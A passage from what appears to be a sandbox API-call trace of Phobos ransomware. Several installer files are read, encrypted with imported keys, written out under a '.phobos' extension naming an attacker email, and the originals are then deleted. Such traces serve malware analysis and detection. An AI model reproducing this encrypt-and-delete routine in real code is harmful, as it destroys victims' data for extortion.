nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b814a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0046.513] CloseHandle (hObject=0x2fc) returned 1 [0049.096] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0049.096] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.097] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=872448) returned 1 [0049.097] CloseHandle (hObject=0x2fc) returned 1 [0049.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0049.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.098] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.098] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.098] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.098] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.099] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb10) returned 1 [0049.099] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0049.099] ReadFile (in: hFile=0x2fc, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0xd5000, lpOverlapped=0x0) returned 1 [0049.120] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xd5010, dwBufLen=0xd5010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xd5010) returned 1 [0049.123] WriteFile (in: hFile=0x310, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xd5010, lpOverlapped=0x0) returned 1 [0049.135] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcc90) returned 1 [0049.135] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0049.135] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0049.135] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0049.135] WriteFile (in: hFile=0x310, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0049.135] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0049.135] CloseHandle (hObject=0x2fc) returned 1 [0049.135] CloseHandle (hObject=0x310) returned 1 [0049.151] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0049.331] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0049.331] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0049.331] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=495616) returned 1 [0049.331] CloseHandle (hObject=0x304) returned 1 [0049.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0049.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.331] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0049.331] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.331] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.331] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0049.331] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb10) returned 1 [0049.331] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0049.332] ReadFile (in: hFile=0x304, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x79000, lpOverlapped=0x0) returned 1 [0049.347] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x79010, dwBufLen=0x79010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x79010) returned 1 [0049.348] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x79010, lpOverlapped=0x0) returned 1 [0049.355] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc590) returned 1 [0049.355] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0049.355] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0049.355] CryptDestroyKey (hKey=0x10dc590) returned 1 [0049.355] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0049.355] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0049.355] CloseHandle (hObject=0x304) returned 1 [0049.355] CloseHandle (hObject=0x32c) returned 1 [0049.363] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0049.367] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0049.367] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0049.367] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=184832) returned 1 [0049.367] CloseHandle (hObject=0x32c) returned 1 [0049.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0049.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.367] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0049.368] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.368] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.368] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0049.368] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb90) returned 1 [0049.368] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0049.368] ReadFile (in: hFile=0x32c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x2d200, lpOverlapped=0x0) returned 1 [0049.419] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x2d210, dwBufLen=0x2d210 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x2d210) returned 1 [0049.419] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x2d210, lpOverlapped=0x0) returned 1 [0049.422] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc610) returned 1 [0049.422] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0049.422] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0049.422] CryptDestroyKey (hKey=0x10dc610) returned 1 [0049.422] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0049.422] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0049.422] CloseHandle (hObject=0x32c) returned 1 [0049.422] CloseHandle (hObject=0x304) returned 1 [0049.425] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0049.427] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0049.427] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0049.427] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=94720) returned 1 [0049.427] CloseHandle (hObject=0x304) returned 1 [0049.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0049.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.428] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0049.428] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.428] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.428] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0049.428] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc9d0) returned 1 [0049.428] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0049.428] ReadFile (in: hFile=0x304, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x17200, lpOverlapped=0x0) returned 1 [0049.446] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x17210, dwBufLen=0x17210 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x17210) returned 1 [0049.446] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x17210, lpOverlapped=0x0) returned 1 [0049.448] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc710) returned 1 [0049.448] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0049.448] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0049.448] CryptDestroyKey (hKey=0x10dc710) returned 1 [0049.448] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0049.448] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0049.448] CloseHandle (hObject=0x304) returned 1 [0049.448] CloseHandle (hObject=0x32c) returned 1 [0049.450] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0049.452] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0049.452] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0049.452] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=78152) returned 1 [0049.452] CloseHandle (hObject=0x32c) returned 1 [0049.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0049.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.454] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0049.454] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.454] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.454] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0049.454] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc550) returned 1 [0049.454] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0049.454] ReadFile (in: hFile=0x32c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x13148, lpOverlapped=0x0) returned 1 [0049.465] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x13150, dwBufLen=0x13150 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x13150) returned 1 [0049.465] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x13150, lpOverlapped=0x0) returned 1 [0049.467] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcb10) returned 1 [0049.467] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0049.467] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40) returned 1 [0049.467] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0049.467] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0049.467] CryptDestroyKey (hKey=0x10dc550) returned 1 [0049.467] CloseHandle (hObject=0x32c) returned 1 [0049.467] CloseHandle (hObject=0x304) returned 1 [0049.470] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0049.471] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0049.471] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0049.471] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=807256) returned 1 [0049.471] CloseHandle (hObject=0x304) returned 1 [0049.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0049.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.474] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0049.475] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.475] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.475] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0049.721] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc690) returned 1 [0049.721] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0049.721] ReadFile (in: hFile=0x304, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0xc5158, lpOverlapped=0x0) returned 1 [0049.864] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xc5160, dwBufLen=0xc5160 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xc5160) returned 1 [0049.865] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xc5160, lpOverlapped=0x0) returned 1 [0049.878] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc950) returned 1 [0049.878] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0049.878] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40) returned 1 [0049.878] CryptDestroyKey (hKey=0x10dc950) returned 1 [0049.878] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0049.878] CryptDestroyKey (hKey=0x10dc690) returned 1 [0049.878] CloseHandle (hObject=0x304) returned 1 [0049.878] CloseHandle 